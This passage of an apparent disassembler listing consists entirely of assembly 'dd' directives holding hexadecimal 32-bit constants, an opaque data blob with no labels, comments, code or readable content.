dd 32B122F8h, 1F1C8816h, 873FF21Fh, 60E3712Ah, 8A8C73B9h
dd 82E84200h, 5635C3C4h, 3F490F03h, 87C074C8h, 0EBFB6A53h
dd 2A5C8095h, 0B56F42h, 43ADB93Bh, 1A223DF6h, 2BB6FF00h
dd 9997E43Ah, 0C78700BAh, 0F88BDCF0h, 7900A374h, 89831EAFh
dd 7C194790h, 0A1E63E87h, 0B763030Fh, 0B0314A80h, 1760ED09h
dd 87425328h, 0C582006Dh, 4013F1F9h, 0B760613Ch, 0E1EFD199h
dd 755000AFh, 0AD0493Bh, 3774EA99h, 0BBA0C876h, 0B40312ACh
dd 3E516E6Ch, 78A960FAh, 0B580FDF1h, 72478900h, 271909A9h
dd 0EA79F0B4h, 0BAF0397Eh, 0F1977D80h, 3AA40EA8h, 0FC4E4100h
dd 174DFF6Eh, 0D45C0AC8h, 30A2C498h, 44377DD0h, 0B28DF717h
dd 9D107B00h, 0F847533h, 0D7663642h, 0B600258Eh, 0C2DB3A7Dh
dd 16A9F700h, 66E41C09h, 9B100097h, 0AD0311C0h, 0DCFF967Eh
dd 0AF002862h, 8974DCC4h, 0B886257Bh, 977E0063h, 9D9516CCh
dd 70002D13h, 0C3EDEE76h, 1CF542C9h, 800EA531h, 3AE22B81h
dd 0A600F95Eh, 33FF5473h, 746ED3C4h, 2F2900C3h, 898094E7h
dd 0B00F5EEh, 19445BF7h, 0FE59C6h, 0E3049B1Ch, 0BD1B4397h
dd 2DB32A0Fh, 0C5EC83E6h, 0A214A826h, 318600DEh, 0B0C21F91h
dd 953CD8B8h, 75120015h, 0D6F4CBAh, 46851298h, 774100E1h
dd 8C8AB67Dh, 0CF6B1C1Fh, 53AAEEC0h, 1ECE4206h, 4018E1FBh
dd 6CDB4E07h, 0EBFA2665h, 0A0C310C0h, 760E9B60h, 0D7B00A18h
dd 3BB04D55h, 2CCC1701h, 0CBF3085Ah, 1FB495B0h, 49E1A507h
dd 0BB215B3Bh, 9960AC76h, 40270020h, 51612228h, 0BA3B692Fh
dd 47460073h, 0EFEE1F2h, 0F9773Eh, 207FB01Eh, 1A6DC68Ch
dd 0F004276h, 366A4FBFh, 2A4A2h, 3AEB09DFh, 4B39F3F4h
dd 80FE483Ch, 55E83722h, 208D92h, 0BDDE59Dh, 7F26E58h
dd 0B3B8B401h, 57CFC2ADh, 2AAABC0h, 0A09DC160h, 0B6603856h
dd 1700CC6Bh, 0BCD44C3h, 11751Bh, 0FF7FC74Eh, 435CDA0Dh
dd 323E0900h, 0AEE26A56h, 279F0071h, 0BF127DAAh, 0DA01434Bh
dd 2117FFFAh, 10D8A3CDh, 405A0737h, 0F0C6A45Dh, 18B5CF59h
dd 42610700h, 9229A7AFh, 0B0F80086h, 0B72D606Bh, 6400C185h
dd 37369950h, 74CA1806h, 0B34E01B1h, 0C9D8C74Ch, 0E058C8AAh
dd 0E9A2191Ch, 3B4D5Fh, 98339149h, 0AE84F4Eh, 18C8C030h
dd 0AF133AF6h, 0DC00BFEAh, 0C29E3D11h, 0D85E0071h, 278AB817h
dd 0F30039EBh, 0F141E7E0h, 1F7D893Eh, 405872A7h, 0BFBAFC03h
dd 6AFC3528h, 7E3AC203h, 3D9A37Bh, 82317430h, 48C0548Fh
dd 0E18E040h, 0F1403FB6h, 5A7400B5h, 882C457Ch, 0C503FA83h
dd 0A49F6E0Ah, 74EA9054h, 171812D0h, 0F1ECFFh, 0DB0E921Fh
dd 97401Dh, 1114431Eh, 2AF92D91h, 6E26D000h, 860173FCh
dd 1ACB01D8h, 4106847Dh, 97D020B5h, 3625A600h, 0BE9C7CE2h
dd 9A6401A5h, 0F99D8DF0h, 0C057023h, 6A8FF400h, 92726217h
dd 3E110080h, 35A9AF1Eh, 0D804A6C6h, 3251E50Bh, 0C0E1CAC3h
dd 489F59DEh, 10006A2Ch, 0D7C20A66h, 0B501B27Dh, 0B90D05C7h
dd 52305F2Fh, 0A5C00091h, 929FAF5Eh, 36074AB7h, 45E73AD6h
dd 75E06A00h, 5AC400ABh, 9378C6FDh, 0A800CE58h, 0E936F435h
dd 12663C3Bh, 1C76A9Eh, 0ECF2ADECh, 150CD07Dh, 0B2B4F804h
dd 0E6C0B866h, 7858E237h
dd 0AA910026h, 82AD459Bh, 9600C5E0h, 0A0EB74B1h, 0F6B4F62h
dd 20B2DA7Dh, 9E2765E0h, 5603BD46h, 409C1243h, 3AFFE08Ah
dd 616C00D0h, 0CA44141Ah, 5AE0CEACh, 7E8B3138h, 0FFDF3Dh
dd 0B43FFC24h, 8A31Bh, 399D3B5Ch, 1D953244h, 0D007ED76h
dd 133C2030h, 0FD2FEFD0h, 5A0506FFh, 0A8955C51h, 0DE00B1F2h
dd 0CDCAAEF4h, 3E8B01C1h, 3D00D675h, 5D810434h, 0D40CA413h
dd 0F036468Dh, 0EA8EB002h, 890F007Dh, 14F4C259h, 1F07BF8Eh
dd 0F9B4C0DBh, 8C52E1AFh, 0C2078E5h, 0FAA40F72h, 41E00A1Eh
dd 0AAFDF3F6h, 5926F900h, 46888B58h, 2ABE006Fh, 0F8CCF02Bh
dd 9A79DED5h, 9B023875h, 4D14799Ch, 6DE48797h, 0D0C55523h
dd 0C0506FDEh, 7A31DB99h, 0E6060F4Eh, 0E3EE91D9h, 3C10318h
dd 0E5908F9Ah, 223B1120h, 3378231Dh, 0ADAB3507h, 787BAF6h
dd 8E7126FEh, 91E30721h, 0A9025F38h, 0E9D92420h, 0DA3947EDh
dd 5DC383A5h, 0E0213F0Ch, 209E28h, 0A9430EDDh, 0E487866Ah
dd 0E0539200h, 938686Bh, 1B1C9206h, 50AF48B5h, 0B9302FC3h
dd 309E682Ch, 82EEEFF0h, 8C103910h, 1D55721Ch, 423C3226h
dd 0EB9450F2h, 0ECD60040h, 93643A00h, 4A7A1174h, 58B10090h
dd 0C54F6DD2h, 0CBF6570Eh, 78D37300h, 49441AA3h, 7F398AFh
dd 0B0713E0h, 0A2C3A01Eh, 0A7F072D7h, 3CD06703h, 0F8EC2F7Ah
dd 0FE05F441h, 0EE9A00B8h, 0FD420F9h, 0A9009B2Bh, 0D0F671ACh
dd 0C237925h, 0B4751858h, 73EEA5C1h, 86FB5200h, 50117E65h
dd 0B972301Fh, 3DEA721h, 0FBF8E1C0h, 1C9D4525h, 710F06Bh
dd 0F0B18FBDh, 0D50A2CEEh, 0CC2A8D03h, 1CA975E1h, 797DC41h
dd 0F33B3313h, 0EBE02CBCh, 9B013EFBh, 43AF593h, 62C4F9CEh
dd 3CDF501Fh, 80A07410h, 0F80078ECh, 0CD979C21h, 0E913A96h
dd 0B00AC77Eh, 0DB8C8E80h, 370090E7h, 0F38ADD76h, 60ECCD6h
dd 2D6768FDh, 0B6EE495Eh, 0CFC61D06h, 0F8D02B2Fh, 0CC9400A3h
dd 0BB6B0941h, 3100B60Bh, 45202EE9h, 653815h, 0D1701EDFh
dd 74A71B42h, 0AFA09CA4h, 3C004BC0h, 5AAAB398h, 0B8AB0424h
dd 0F8B50714h, 0D0B68908h, 0C2D91910h, 460B3900h, 0A4F78272h
dd 0B24200E8h, 5B5C5980h, 60927AE4h, 0C50AE980h, 0EA9EED03h
dd 0B073DDF9h, 0C0CD7598h, 0A2F69079h, 4302F465h, 0E19FBC07h
dd 0F9D0A0E9h, 0F153B6h, 723AE752h, 6F1BEDC6h, 0A1DF7D01h
dd 81D81ABFh, 2351DDh, 743A2100h, 0EB525F88h, 2D009AFAh
dd 0C18BDD04h, 229508BBh, 0A8003CE2h, 654CDCD2h, 1B6B7Fh
dd 0D94705A1h, 55206058h, 9B234114h, 322F04B4h, 0CC8831F0h
dd 0A37300B4h, 92994EC2h, 130014C6h, 26E6E893h, 91DF03D1h
dd 0D6A70EA8h, 0D0D50091h, 5FAAA842h, 19596331h, 21005DE2h
dd 0FDC409A0h, 0CE404Fh, 79C683E0h, 7F5F0438h, 3EB4E70Ch
dd 773059B0h, 0CD871C3Dh, 14F201D4h, 807247A1h, 6D52EFA1h
dd 7C568D1Dh, 1068495Bh, 97019443h, 1482F6E4h, 0BFCD47Ah
dd 0BFD0CF50h, 3E8B5308h, 797B9h, 0AD1C9F77h, 5F63DE1Fh
dd 3DAC1019h, 28176C1h, 7A0EAA43h, 706DF48Ch, 2908C000h
dd 6F875B48h, 413A01D1h, 0E1E3C72Bh, 1BF18058h, 7A8C0694h
dd 0F5610037h, 6A3ADD9Ch, 66034778h, 385FE784h, 0E169264Bh
dd 0D764404Ch, 4600B421h, 312288DAh, 1FA06B58h, 81D184EBh
dd 0C9A665F9h, 0F8319225h, 1D190000h, 3B232F6h, 9B7A5648h
dd 0E9008840h, 0BFE7CE91h, 60E1E4C8h, 337E3911h, 2A005637h
dd 41ED93C9h, 7BAE7F9Bh, 0C2A618B7h, 0B2E429CDh, 0A9A11130h
dd 1A8B307h, 6493D69Ch, 0FA3C034Eh, 8C3BFCE0h, 8F3C412h
dd 71E56804h, 0A32538D0h, 4142600Fh, 279869F0h, 0F76AE400h
dd 6F0DDDFDh, 0FFCA30A6h, 0C03EB671h, 0DC02F37Ch, 0F44469E1h
dd 105440B5h, 0F8CD0057h, 29FD74ABh, 0A8076C72h, 0E2932DB7h
dd 0FCC041FCh, 8D7350F1h, 0B6210140h, 96019F38h, 0F06457F9h
dd 0C4B9648Ah, 0E544590Eh, 6B49E065h, 541D7F38h, 842CD05Dh
dd 0BD0067F6h, 268FA79Ah, 0C7357D13h, 2B788318h, 81526883h
dd 5788D5BBh, 104C98E2h, 385BC0CCh, 246B1571h, 44C12Dh
dd 3AD0CA76h, 0BD1C4560h, 1E8068E4h, 46509363h, 0ECDD30A7h
dd 0D6571FA9h, 0AD7F6804h, 54820748h, 0C8A723AFh, 0B31E29FEh
dd 0D954BE2Eh, 89DD80FCh, 177075BFh, 9D380Dh, 5F3DB64Ah
dd 32F51337h, 70670FACh, 3B56E510h, 0A9BD81C0h, 0AD316CBh
dd 37C200D9h, 0FA108742h, 4079B560h, 248DEBA7h, 1ACF1F0h
dd 3F782270h, 402412CEh, 710C1141h, 0A6763053h, 3B2D0919h
dd 31015F00h, 8C040D96h, 0A5FF0274h, 7D6E9E68h, 6021B062h
dd 0E0250C69h, 0F770EACDh, 0A4FD7826h, 4D483900h, 0FF38FBEh
dd 4C41E876h, 0DEA62F21h, 0FC88500Fh, 0AE0067DDh, 8D17C3FFh
dd 91E2EF10h, 40159E14h, 32032153h, 2000149Bh, 0AC0B858Eh
dd 26F3AD6Eh, 6104905Ch, 0C9CC59FCh, 7E49D81Ah, 0BC0FE1EEh
dd 406D8828h, 0A97F6948h, 0C0E35838h, 59F20096h, 0D1538BC4h
dd 9B3DD200h, 0ED248D43h, 0B921528h, 0DC00C05Eh, 0DF2F3FCAh
dd 913B137Ah, 0B8985467h, 0F20EF118h, 0E48E29h, 0EF8106ABh
dd 7A3BD6D4h, 0D5126BE0h, 1820CAA7h, 0C5E20B3h, 0BA7215EFh
dd 93787C49h, 11B6DE34h, 89F15880h, 0D8A726C9h, 0AB3840FCh
dd 0FA189981h, 0DA81A812h, 0F494009Eh, 6C276B67h, 0E103FE6Fh
dd 74F5FD1Bh, 4D5100A1h, 6964160Ch, 0FB006F20h, 7B46065h
dd 4C531F3h, 6D4C82D6h, 2F85C167h, 3BD18029h, 99101C02h
dd 0A55B0E26h, 2541C979h, 8C4A695h, 20EF0A1Fh, 54322Ah
dd 8D94066Ch, 0EB13E628h, 0FC20F115h, 63322B57h, 8330296Fh
dd 0E6E5FAD0h, 71F2C04h, 110B5C21h, 0E2195890h, 55120F07h
dd 0B17060E5h, 226A37h, 4A4561F9h, 0C042F79Bh, 87A0EC99h
dd 17039C7Dh, 0EF84513h, 58D12C56h, 382E00CEh, 140987F2h
dd 3B01FD72h, 48EE40E7h, 0A980AD3Fh, 0A6BEE604h, 7B00EAECh
dd 0A776E068h, 0EB3EBFh, 2132A3CBh, 0D05D10E4h, 57E30903h
dd 184D905Bh, 49AA3E69h, 0A001BC9h, 6EC2E28Bh, 5610157h
dd 0F2BD984Dh, 3AC82DFh, 0FFDB10E0h, 98D5542Ch, 94B38F00h
dd 0DD2A2FEAh, 49404051h, 0D676BB47h, 1F24539h, 9D0190DCh
dd 0FAE03169h, 8EA1008Fh, 8529B1ADh, 5A54E19Ah, 3F004188h
dd 34DDE423h, 96B72Eh, 0D391487Fh, 78F464ABh, 0BC32682Ah
dd 0B7A7B803h, 95F102Eh, 72DDEC11h, 670D2E03h, 0C2569100h
dd 0E892EA57h, 12B095h, 0DEDA6C1Ah, 24041D3Eh, 8C8A7C24h
dd 0BEF45E60h, 0ACED00A0h, 5031A791h, 6C9460C1h, 0C0EB9643h
dd 0A13ABCh, 0DD0E159Ah, 0D2A82F7h, 3848E31Ch, 35B30282h
dd 7330C05Eh, 2F8F00A1h, 0C5A7193Bh, 0FE263AB1h, 3F0238C6h
dd 44E199BCh, 542C00F4h, 1911AD50h, 3A00BA84h, 8BE74671h
dd 0B1E20640h, 0B02700D4h, 0BDF7EF02h, 31FC9901h, 0D51F7F67h
dd 0DDAC5887h, 0D6EAD39Bh, 34C098A2h, 0C848A910h, 26B68084h
dd 48270C1Bh, 8A870074h, 1741B060h, 2BECC3FEh, 0E852C000h
dd 0B2C66B3Ah, 0D940A894h, 61DB056Eh, 88336774h, 0E807916Ch
dd 0B4BF37D0h, 47B2C40h, 0DE8CBBDh, 7A1CE400h, 78B1114Bh
dd 959E9207h, 941059B0h, 9BA5012Bh, 0FEBF86BAh, 0E5083Eh
dd 68F0D0E4h, 0A52DD7CAh, 89EEE230h, 80F67Bh, 0E339BF01h
dd 0B7FBA9C8h, 0D4F06F18h, 96E83CC2h, 830540D8h, 3E13095Ch
dd 0CC008C2Ch, 11299878h
dd 63DD13AAh, 565C0004h, 0C0ABC292h, 4F816817h, 7CC410h
dd 5B0A114Ch, 0FB15DDF2h, 9893B660h, 8034997Ch, 2195A613h
dd 0F906EABFh, 0D8A17CABh, 0FC365841h, 40024058h, 3ED3A973h
dd 24013864h, 0B7A34670h, 0A443FD06h, 12BDD1B2h, 38031C62h
dd 7EFB9D54h, 95C8DC88h, 0DABF38h, 0A5138B9Ch, 9AA49FA7h
dd 0CFF62E58h, 0C741F04h, 1F815BC2h, 88E653h, 6D35BA13h
dd 0CEF20FDh, 60B5A163h, 14A075A9h, 18798C31h, 418DDE01h
dd 0C8941A29h, 0BB875180h, 93FA4B83h, 0A5EB1E01h, 4091983Eh
dd 42580872h, 84CB5700h, 0DABBD2F1h, 2600DFB8h, 25230E35h
dd 298ECAC4h, 84AB1Fh, 45461B38h, 900E602Bh, 21175742h
dd 0E2102A8Ch, 0D7470h, 8B94C661h, 0E88D1403h, 0AD20B4A0h
dd 2C0256E4h, 9E46B6EAh, 0BECE85FBh, 0CE5BB800h, 78DDFF0h
dd 97600537h, 9E0760C4h, 0D0A6A7E8h, 0F70C56EAh, 91B37408h
dd 0A10C00B9h, 0B7AE866Fh, 774A8E10h, 406E604Eh, 7BE496ADh
dd 3F4902E6h, 0B932DFFh, 0FD7E2864h, 6F83400h, 0C0ADDB3Eh
dd 0AC3A0641h, 49494E5Fh, 0FF094F90h, 64D5112Ah, 2CEB003Ch
dd 3D012271h, 511E9C25h, 3880B356h, 24CCFFC0h, 2E5BE24Eh
dd 19CCDD2h, 7552EE8Bh, 140017B8h, 7499FEE4h, 34B20FA3h
dd 10865212h, 0D80079AEh, 1705E8B7h, 59E060h, 43078CC6h
dd 6A5ED37h, 443CE324h, 3E6DCC03h, 0B2591DABh, 1471800Bh
dd 0AF02C227h, 0FB30B109h, 20C884A6h, 0DB0068A2h, 0ED19B429h
dd 98007094h, 3AB530A5h, 76BD7261h, 78CCA0FDh, 0AFC802CAh
dd 7109920h, 0F3AEBC90h, 4840F548h, 0C894F0h, 7BC9B172h
dd 9C0262h, 4E3BD08Ah, 0AE2C66F1h, 3E08096h, 8D5B79h, 0A2AD6F31h
dd 0BFE2DA23h, 98881300h, 109F52FCh, 639C357h, 0A3E0DA19h
dd 69008D0Bh, 78F176B4h, 9C75DF64h, 0A987BE28h, 90590509h
dd 4333EA21h, 0C16B3907h, 90EB1F52h, 12963B8Ch, 1ECB084Fh
dd 0C99943C4h, 0A8814629h, 1450626Ch, 8270345Fh, 0C4E2F1C5h
dd 1C69F288h, 40EB78ADh, 854CA502h, 0F74CC157h, 142F0058h
dd 0D6F20901h, 7B2A1744h, 39603006h, 0D7F25EE5h, 64B54B07h
dd 0D2642D30h, 0DD14C8C0h, 635A020Fh, 0ACAF198Bh, 0AEA5F098h
dd 0F08A5802h, 513AD255h, 495D005Ch, 2B97C231h, 0B058B500h
dd 358EA930h, 748D3FF6h, 0DC124h, 837351FDh, 0DD4B1F7Dh
dd 10DB3022h, 250075B5h, 9896FF84h, 5CA99DB4h, 2400302Ch
dd 38C18D2Eh, 630B749Ch, 51E0A7Eh, 0FC982FF2h, 0C2A9280Dh
dd 4650528h, 0CCFFD5A8h, 0E34863F4h, 2578004h, 0E312F54h
dd 7222B7A8h, 7DACA100h, 0FC7B6466h, 0C52C5F3Ch, 0D5003033h
dd 0FB4DCDE6h, 0CB005615h, 0A378EE0h, 31C6DD07h, 94680F3Fh
dd 0D84313AFh, 0EC6F383Bh, 0D5C1001Ch, 85C0EBAEh, 3200FB88h
dd 5E0E425Bh, 17114E0h, 0FA7E31CBh, 0F963C6C4h, 1382DE5h
dd 0B0A31B32h, 7CF01233h, 1D3E8ABh, 13E25957h, 0FC0FC0A1h
dd 1F3DD994h, 0C4434E5Dh, 0B1542882h, 51D05BE1h, 805C91E6h
dd 2416DF14h, 0AB02B5F6h, 7E6D7F1Dh, 0FD00E195h, 26007073h
dd 0F43EFFF2h, 180F8E5Eh, 6E659C48h, 0ADD4C0BDh, 0FC93B83Ah
dd 0F85701D6h, 0D0F0CEEh, 4F3C6495h, 71F71A0Fh, 5B45A0C5h
dd 141C3B19h, 0E0315FD0h, 3E208FC0h, 2E00D916h, 0E8B97FF9h
dd 0E62DF642h, 0C734247Bh, 226C003Dh, 1F0BFF13h, 83ACDF48h
dd 0E8FEB337h, 174EB8F6h, 90E1C084h, 6D09D9FCh, 31C57300h
dd 0E3DDE924h, 0D2A51CE0h, 26A640AAh, 0B6E8FB28h, 35360C00h
dd 7D81C72Bh, 8388940Dh, 0A134AFB4h, 25BCB5E0h, 0F6F49E3Bh
dd 0B88D9100h, 7FA64F0Bh, 3ABD00A4h, 32DDA3F0h, 5F7BC690h
dd 75CC020Ch, 4CDA97Eh, 7959EEF2h, 62EFC0B3h, 0D0057E1h
dd 48BEE3FCh, 916A3Ch, 2CC9AD76h, 0CBE1A045h, 0D7FAC9C3h
dd 0A2B4835Bh, 86665h, 64AF2220h, 804814EAh, 0E1013B02h
dd 604193C9h, 25692330h, 2820E231h, 64941D34h, 0C682C81Ch
dd 18509F40h, 2832E1A2h, 22CE37Bh, 0D91B54FAh, 0BEE0F2A6h
dd 7C0198E7h, 83AB047Eh, 546DDAAEh, 68298D00h, 0CC3AD170h
dd 0E804537Fh, 0B9AB20EAh, 90379940h, 72039B29h, 2BD7E61Dh
dd 12CCB8B6h, 0B4E490FBh, 54F860CCh, 7D0B6FCDh, 0D52949h
dd 91BD19F0h, 0C4E14897h, 0A272480h, 6917CA4Dh, 548C4353h
dd 20E94A99h, 0FD2DAE0h, 817FF438h, 2B636008h, 0B8609414h
dd 35398845h, 1984AB19h, 0C314B448h, 80001DACh, 830C413Dh
dd 176C73CBh, 200D5F4Fh, 0E7D39F0h, 217ED00h, 4520E469h
dd 75F72CDFh, 0C61E405Ch, 0AD606BE9h, 0AB5B04E0h, 8EA8B9D5h
dd 52608F70h, 0B8CC4765h, 0B3622400h, 0FA192D16h, 29AC6075h
dd 12849268h, 951A8C00h, 9B39236Dh, 61FC004Bh, 176F08B3h
dd 0A49EDF20h, 0BD0AE80h, 9D79A05h, 74DEE599h, 3410CC18h
dd 0AD5FED04h, 0D8C17606h, 8C38C2A6h, 0B56280DCh, 0E868240h
dd 0D4807C9Ch, 0C7FE64A8h, 0D7172446h, 8BA11FE7h, 0F41012EBh
dd 5B0E0A88h, 0F7964F3h, 8424053h, 0F77B2Bh, 9EEBE1ABh
dd 88644B58h, 20A74512h, 0AC303C24h, 7AEBB7Eh, 68D31889h
dd 625E3095h, 8500D482h, 0C1EBDA7Dh, 7C0E7EC9h, 0BD1E2654h
dd 273C11F8h, 4F04A00Dh, 984BF56h, 3194A9CDh, 0E980CE01h
dd 5CCBE81Bh, 0A111A20Eh, 5F31B86Eh, 81C0B135h, 0E2B7F254h
dd 0A1FC1003h, 0A0600BCh, 90428508h, 513FB1B2h, 0A7B586B4h
dd 0B149F3A2h, 0F51880BCh, 0E7140F23h, 0DCFBFE05h, 0EFC38DCCh
dd 1C69775Ah, 0C0713437h, 4E27E9DBh, 921670CDh, 0CC006A5Bh
dd 0E79723C0h, 0D44C508Eh, 167C78D7h, 7A02A9Eh, 5CF02Fh
dd 0DDC29A59h, 47638305h, 0E0B068E7h, 0A7FB09D7h, 0B4102B5Fh
dd 5C00E4A3h, 199D8D3Ch, 39D0B61Bh, 0F89F8FC6h, 154A405h
dd 0FECC43B3h, 0DBD7F0BDh, 12CB73Ch, 0DF6CABF9h, 18205426h
dd 5FD688C8h, 38C584B0h, 0CCE4E199h, 3C1A3E2Bh, 0B0133080h
dd 65BD762Fh, 82CD8C39h, 75E91633h, 5E9F22A2h, 0C4C58E80h
dd 0C700766Bh, 0D0D8ECFEh, 6928409Bh, 0B080802Dh, 73571F0Ch
dd 801C9448h, 6CA24070h, 0EF7B003Ah, 4B979BB2h, 0F603B3CFh
dd 75C69377h, 6972A5h, 0E7CD5614h, 94AB39C0h, 818C3003h
dd 903DD84Ch, 0A2FC9AEh, 46F42A28h, 0B033C80h, 0A4CA01D1h
dd 0D02E22E8h, 1200F898h, 0EE14556Dh, 2D255715h, 242FB3A1h
dd 0EB8A4940h, 0CA139790h, 7488E099h, 0D0470007h, 0FE93CBCh
dd 3BB0A3E5h, 0EED5816h, 3E3DC90h, 0BEBC1260h, 305716F0h
dd 0CBE711C8h, 0EC183Dh, 6C22C212h, 0E82C94F8h, 2BF00014h
dd 0B3506EAAh, 0C400605Bh, 41700EFEh, 0F1489Ah, 2F723249h
dd 0E2FBFC06h, 83B63600h, 0F9B21CB4h, 80EB00C2h, 0CA4FE0A6h
dd 410191E6h, 0AA71031Fh, 0EFE0EC19h, 530E0CA9h, 29186317h
dd 42E1CB01h, 0D68D6141h, 0AC256080h, 0A2FC74A7h, 37BF2900h
dd 5B0DF92h, 0E86503CBh, 8B6017Eh, 0B72680ACh, 762ED0E7h
dd 53002212h, 7FCBA624h, 0C28D30FCh, 0A3F59951h, 48D8B630h
dd 127F024h, 7C17B42Ch, 80FF8DAAh, 2873AD29h, 16447F4h
dd 2E4B554Fh, 0C0C430C2h, 0CF0097F1h, 0A8EEB0C8h, 0A610AAh
dd 3617CEBh, 2BBD277Fh, 0A2006870h, 0EA89CCBFh, 0C8CDA0h
dd 7DF9E0B6h, 62CA1808h, 2FF168C1h, 0B060A1ECh, 5C4D3D7Fh
dd 467A007Dh, 9F331742h, 0A0302C90h, 6C9299FCh, 6F961D0Bh
dd 0C9183F50h
dd 87DA49FDh, 544AF700h, 7E3FE460h, 0B7FB05B6h, 1D26F47Ah
dd 0EA8880D8h, 68461264h, 47674E00h, 0FA93A238h, 0D5B20EDBh
dd 25E1E1ECh, 47EEBDBBh, 0AC49818Ch, 4481869Bh, 3771617Dh
dd 0C008297Ah, 0C1EAB538h, 602B5500h, 4C5D03A6h, 0E157381h
dd 9880F74Ah, 8300B894h, 0CBEF61Ch, 3A6031BBh, 0B4895141h
dd 63FB0562h, 7CFD3A6h, 4E2D24A4h, 0AA4E2B60h, 79C053F4h
dd 0E627089Eh, 61D21C44h, 1E39129Bh, 1DCFC120h, 80267A84h
dd 5D8E3259h, 262B8h, 41A8F0Eh, 0E744E285h, 31405900h
dd 2C3971AAh, 0AF0F1FBEh, 9E397099h, 0FC00C6ABh, 5940733Dh
dd 0E4850D1h, 0D3C38531h, 1827619Ah, 0B9C8B037h, 501F52Ch
dd 0EE04FB7Eh, 0DEF8867Fh, 0B33C14C9h, 0C682C47Bh, 3AC0439Ah
dd 5C756B65h, 7656AF07h, 0D1C0BAA6h, 7DE602h, 39736877h
dd 0FB4A589Ah, 94EAD73Dh, 40F5D2h, 0A3BADB09h, 36FFC0Fh
dd 3A0242Ah, 0DE8052D2h, 443D8378h, 6EB7805Ch, 8E73B18Ah
dd 0E2492D7h, 1C55CF28h, 2A18260h, 0E4008067h, 5135FF0h
dd 5E3E8Bh, 0D114E5BFh, 4C70819Ah, 4A0D9209h, 0AE100080h
dd 918D11C5h, 93C0004Ch, 42B6693Fh, 527B0301h, 5344706Bh
dd 0D7F12181h, 80FEBC23h, 9B247211h, 507E9F7Bh, 73FF812h
dd 0A2266C68h, 80AC6A9Ah, 0FF74E50Dh, 12001D10h, 85468A9Eh
dd 5A401Ch, 3CD4C937h, 0ECACB3A2h, 5BA6C801h, 69DFF49Bh
dd 4DD8D2D1h, 57C402F0h, 20793375h, 0B4B9CA0h, 0A400564Ch
dd 0A751E886h, 0A4D2C387h, 0EC1C90ACh, 0A5F50065h, 0FFB3B419h
dd 0B2004181h, 0E35F598Dh, 609AC936h, 0F8DB3033h, 0F50201ADh
dd 7919E68h, 0B608799h, 9719A930h, 2D7875h, 0C33B98DBh
dd 4E6C0153h, 0F19DF900h, 0C006A6DCh, 8ABD0FC9h, 19003BB4h
dd 98E239F4h, 9C53C426h, 0BAFC1787h, 0E3C6F381h, 7D2032h
dd 985794ADh, 8D9970F0h, 0C889A505h, 0FD003A28h, 39D462A0h
dd 0B90100E8h, 0A6E6C4DBh, 0FC123314h, 0CC00DD93h, 0E3491F8h
dd 5A589Fh, 0D4ACC215h, 6944C918h, 340F5E1Eh, 0C084470Fh
dd 0D342B8FAh, 5674005Ah, 32582F2Dh, 0B27B91C0h, 41A08F30h
dd 0B06C5709h, 33800030h, 3761F417h, 45F6A6DAh, 0FB9E4891h
dd 0A4CD8203h, 0AFDF98ACh, 7C8101EBh, 81DD36Bh, 0F5BCCC93h
dd 0EC112400h, 9BC48925h, 5153304Bh, 2FBD50A1h, 9888BCA8h
dd 8A04104h, 0D1C0D29Eh, 0F769B38h, 0B046CCA1h, 7760FD80h
dd 81C02A44h, 0DB6FA9F1h, 1C40065h, 0D6039C85h, 680328A7h
dd 0B277443Fh, 2EB8D8B0h, 7FD90E15h, 3078F213h, 7C00C6FAh
dd 0DE300424h, 30611490h, 295959C9h, 7A00BCF6h, 36BFEA07h
dd 0F7D8FAAh, 87B95910h, 9906C9A0h, 48B0A986h, 8B5A2805h
dd 0BC20CA07h, 4FD28Eh, 0EDB7A636h, 6FEA90BFh, 4CE48500h
dd 0D97BFE6Ah, 0A99F0407h, 40C5AF22h, 83EA0C3Ah, 0AAC902D7h
dd 3B7A9F14h, 0B42D7048h, 0D171B801h, 57FAE1CCh, 24BC020h
dd 1F70520Eh, 0EC44AE23h, 0E6187898h, 0D311758Eh, 7B051FF3h
dd 201C8094h, 0E9A183B4h, 1DC4C01h, 5CD78882h, 788091D9h
dd 0C8DF9EB2h, 0C61E0CA7h, 371DACA6h, 4AA91F40h, 49464412h
dd 0F400A47Eh, 0AEE7B008h, 0AAF6C30Ch, 6C3CC426h, 7003B307h
dd 0D550CC00h, 3B0C2455h, 18F006F0h, 0A13A6063h, 33C90B67h
dd 3AB400CCh, 49A350B2h, 0E0600838h, 0C922BE08h, 2DA64818h
dd 600C4419h, 4303818Ah, 38DEBA9Eh, 0F9670022h, 7FFB56D2h
dd 441B4E42h, 0EA318B71h, 80E4C198h, 7231180h, 0F5E678B7h
dd 909CFA37h, 0EE7A8A83h, 0AE6E0751h, 0BEDDB687h, 0D78D6540h
dd 450136ECh, 233477E8h, 0D8639186h, 2A419000h, 42974433h
dd 1F9F7800h, 0FA38B987h, 34EA006Dh, 1BB25545h, 0D82CD0A6h
dd 130098C2h, 58D27FB0h, 2A7204ADh, 888E1E0Fh, 673BCBC8h
dd 0FF1CF948h, 2F40209Ah, 0BC507A1Ch, 9E85005Bh, 720EABC4h
dd 65486B30h, 0BA60FE8h, 0FE380E4h, 0F218B853h, 0D4C500E9h
dd 2D298C6h, 6D08E15Eh, 80FB8E66h, 5C30EB21h, 22186A1Bh
dd 0CA19D4CBh, 6C924Fh, 0D202AF2Ah, 0AA19E2D7h, 1DAC8E4Bh
dd 5ECBC103h, 3C80EE43h, 0CC9A67CAh, 0C4706500h, 9D6B7975h
dd 49FC62C9h, 9AC0BBE8h, 7005B561h, 1729BFD0h, 0B1283447h
dd 0AB6DEFB1h, 603430h, 175F6356h, 107C85A3h, 38108148h
dd 0D3708211h, 125217Dh, 0BAF21799h, 18980B8h, 42336A30h
dd 64C8031Fh, 0C3F5A09Eh, 47A5F080h, 0E3294FB0h, 0BF80E0EAh
dd 75F3B71Eh, 0B0600005h, 0E978067Eh, 0E705E445h, 8E9530B8h
dd 2041A209h, 2A7CE38h, 0C25F03DEh, 52935138h, 848776E0h
dd 6C2C8F04h, 0C0A22A03h, 813D9C00h, 9761DAB3h, 58DFD400h
dd 468C1E1Fh, 8EEA253Ch, 79517C20h, 6A78FECFh, 84EF0B07h
dd 6D81B02Ah, 145041DCh, 6758DCAh, 9A6C08E9h, 0BA07694Ah
dd 5EDB47DCh, 19862BD0h, 0A49C00A9h, 3995ED0Ch, 5026D6A8h
dd 0A042C0ACh, 0E3C8C1E7h, 0E89C63CEh, 5CC6FFDFh, 0BB03B826h
dd 9A304286h, 0C26940B4h, 0B0CB037Dh, 8E3700E0h, 0DCB7B2F9h
